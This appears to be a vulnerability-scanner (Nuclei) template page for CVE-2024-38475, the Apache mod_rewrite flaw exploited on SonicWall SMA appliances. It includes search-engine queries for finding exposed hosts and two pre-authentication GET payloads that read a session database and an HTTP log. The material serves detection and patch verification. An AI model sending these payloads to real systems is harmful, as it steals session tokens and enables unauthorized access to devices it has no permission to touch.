Sonicwall - Pre-Authentication Arbitrary File Read

CVE-2024-38475
Verified

Description

Improper escaping of output in mod_rewrite in Apache HTTP Server 2.4.59 and earlier allows an attacker to map URLs to filesystem locations that are permitted to be served by the server but are not intentionally/directly reachable by any URL, resulting in code execution or source code disclosure. Substitutions in server context that use a backreferences or variables as the first segment of the substitution are affected. Some unsafe RewiteRules will be broken by this change and the rewrite flag "UnsafePrefixStat" can be used to opt back in once ensuring the substitution is appropriately constrained.

Severity

Critical

CVSS Score

9.1

Exploit Probability

92%

Affected Product

http_server

Published Date

May 2, 2025

Template Author

shaikhyaser

CVE-2024-38475.yaml
id: CVE-2024-38475

info:
  name: Sonicwall - Pre-Authentication Arbitrary File Read
  author: shaikhyaser
  severity: critical
  description: |
    Improper escaping of output in mod_rewrite in Apache HTTP Server 2.4.59 and earlier allows an attacker to map URLs to filesystem locations that are permitted to be served by the server but are not intentionally/directly reachable by any URL, resulting in code execution or source code disclosure. Substitutions in server context that use a backreferences or variables as the first segment of the substitution are affected.  Some unsafe RewiteRules will be broken by this change and the rewrite flag "UnsafePrefixStat" can be used to opt back in once ensuring the substitution is appropriately constrained.
  reference:
    - https://github.com/watchtowrlabs/watchTowr-vs-SonicWall-PreAuth-RCE-Chain/blob/main/watchTowr-vs-SonicWall-PreAuth-RCE-Chain.py
    - https://labs.watchtowr.com/sonicboom-from-stolen-tokens-to-remote-shells-sonicwall-sma100-cve-2023-44221-cve-2024-38475/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38475
    - https://security.netapp.com/advisory/ntap-20240712-0001/
    - http://www.openwall.com/lists/oss-security/2024/07/01/8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-38475
    cwe-id: CWE-116
    epss-score: 0.92401
    epss-percentile: 0.9971
    cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: http_server
    shodan-query:
      - http.html:"sonicwall" html:"sma"
      - apache 2.4.49
      - cpe:"cpe:2.3:a:apache:http_server"
      - http.title:"apache http server test page powered by centos"
      - http.title:"apache+default","apache+http+server+test","apache2+it+works"
      - http.title:"apache2 debian default page:"
      - http.title:"test page for the ssl/tls-aware apache installation on web site"
    fofa-query:
      - title="apache http server test page powered by centos"
      - title="apache+default","apache+http+server+test","apache2+it+works"
      - title="apache2 debian default page:"
      - title="test page for the ssl/tls-aware apache installation on web site"
    google-query:
      - intitle:"apache http server test page powered by centos"
      - intitle:"apache+default","apache+http+server+test","apache2+it+works"
      - intitle:"apache2 debian default page:"
      - intitle:"test page for the ssl/tls-aware apache installation on web site"
  tags: cve,cve2024,sonicwal,sma-100,lfi,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/tmp/temp.db%3f.1.1.1.1a-1.css"
      - "{{BaseURL}}/mnt/ram/var/log/httpd.log%3f.1.1.1.1a-1.css"

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "SQLite format","sessionId")'
          - 'status_code == 200'
        condition: and

      - type: dsl
        dsl:
          - 'contains_all(body, "mod_antiloris","[pid")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a0048304602210081f350fcb24a8d5a6e644890a2ddd84a3e2019c5cdea53db227a552256073810022100eba9610a1a4c46f8222078e44fae0ff49ecc2ba650e3f16825f9d52ddce73379:922c64590222798bb761d5b6d8e72950